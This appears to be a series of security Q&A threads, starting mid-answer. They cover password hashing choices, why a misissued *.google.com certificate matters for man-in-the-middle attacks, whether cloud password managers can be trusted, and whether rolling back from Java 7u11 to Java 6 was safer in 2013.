scrypt

So you can use either of these three. PBKDF2 is the most supported. Storing passwords in a reversible way is considered bad practice.


What is the severity of a fake certificate? I'm not a security specialist, thus reading this Google Blog post about a fake *.google.com certificate, raises a lot of concerns, if anyone can impersonate a website, especially a google website, my naive understanding is that this can be used for phishing attacks and identity theft related fraud massively.

What I would like to ask, and please forgive my ignorance, is how a fake certificate useful this way, if I type X.google.com, it will go to a Google Sub-domain in any case (e.g. fraudster will need to also hack some DNSs / hosts to be able to redirect to his own malicious site, is that correct?)

My question is this, is a fake certificate only useful in combination of a DNS hijack (or any other method that will point the fake cert's target domain to a fraudulent IP, e.g. modifying hosts file etc?)
i.e. I assume it's not useful if the user is clicking on a link a la givemeyourlogindetails.google.somehoaxdomain.com and tempted to think it's "real" just because the padlock is green (and I assume it won't be green anyway as the domain doesn't match)

I'm sure I'm missing some security 101, but I couldn't be sure I fully understand the big picture here.

Is a fake certificate only useful in combination of a DNS hijack (or any other method that will point the fake cert's target domain to a fraudulent IP, e.g. modifying hosts file etc?)

... or man-in-the-middle by means of ARP or routing table changes by an ISP. In any case, some redirection that is undesirable for the end user must also occur.

The area of concern is that your browser trusts the issuing authority and the issuing authority sent a certificate to somebody who isn't the controller of the domain. Particularly with some governments, this can be very concerning as they can silently redirect anybody in their country by twisting an ISP's arm.

It's for this reason that I argue that DNSSEC should be used as another authentication channel for certificates to show that whatever was issued is also accepted to be published by the domain owner.


Can cloud based password managing services be trusted? I'm a big time user of cloud based password managing services like LastPass.

But in the light of recent revelations like various government backdoors in popular sites, programs like prism, etc. I'm beginning to wonder if services like Lastpass can be trusted.

To be more specific, how do we know what happens in the backend of such services and can we really trust what they claim about security?

You'll never be able to know. You can however, exercise reasoning and logical judgement based on

The company's ToS.
The company's track record.
Your trust of the company providing that service.
The importance/value of the data handled by that service.

Regarding password management; call me a little paranoid, but I really never trust any cloud service with my passwords. I like using KeePass with Dropbox, because I know that KeePass is open source (less likelihood of monkey business there) and my trust in Dropbox is irrelevant (they only see an encrypted file).


Java 7u11 - Safer to switch to 6? Java update 7u11 has made some news lately for a couple reasons.  Firstly, it was an out-of-band patch to resolve vulnerabilities being exploited in the wild.  Then it came back up because it is now being found that the patch is incomplete.  News I'm reading now seems to indicate one or more of a few things are happening.

A vulnerability that was supposed to be patched in 7u11 was not really fixed at all.
New vulnerabilities have been found in 7u11.

It is not clear whether these are new to 7u11, or pre-existing vulnerabilities newly discovered.

Though there was some mitigating effort put into 7u11, new exploit methods (possibly coupled with new vulnerabilities) are allowing the vulnerability that was supposedly patched to be compromised.

The release notes for Java 7u11 point to only one vulnerability, CVE-2013-0422.  This vulnerability appears to be exclusive to Java 7.  Java 6 is still receiving updates until February 2013, though.

If removing Java entirely is not an option, would switching to the latest version of Java 6 be safer for now?  Or, are there enough vulnerabilities left un-patched in Java 6 that are resolved in 7 such that the newer version is still the lesser of the two evils?

I'd hazard a guess no. Not based on hard evidence, just a misgiving I have about rolling back to software that might not receive the latest fixes (previous versions eventually go on the "just update" pile), especially if you are a high value target.

One thing 7u11 has done is this:

  Area: deploy
  Synopsis: Default Security Level Setting Changed to High
  The default security level for Java applets and web start applications has been increased from "Medium" to "High". This affects the conditions under which unsigned (sandboxed) Java web applications can run. Previously, as long as you had the latest secure Java release installed applets and web start applications would continue to run as always. With the "High" setting the user is always warned before any unsigned application is run to prevent silent exploitation.

So - assuming there are no bugs in the signature checking code that allow you to get around this - actually 7u11 with a healthy dose of user education could remain safe provided attackers cannot get their hands on a valid certificate to sign their exploit with. Specifically, unsigned code will pop up with a "this code is untrusted" dialog a little like UAC does.

This, combined with something like NoScript to block these objects from loading initially, should mean users at least have to click once before an exploit is triggered.

This is good - and should hopefully apply to any future exploits, too.

My understanding of the exploit situation is taken from this blog post. The vulnerability that allowed for overwriting the securityManager has been fixed, but the vulnerability that allowed for an end user to obtain class names via Reflection that would normally be unavailable due to the security policy has not been fixed.

Finally, as an aside, I've experimented with the vulnerability on OpenJDK and found that this issue appears not to be present there - I get a "The MBean class could not be loaded" exception (Reflection not working).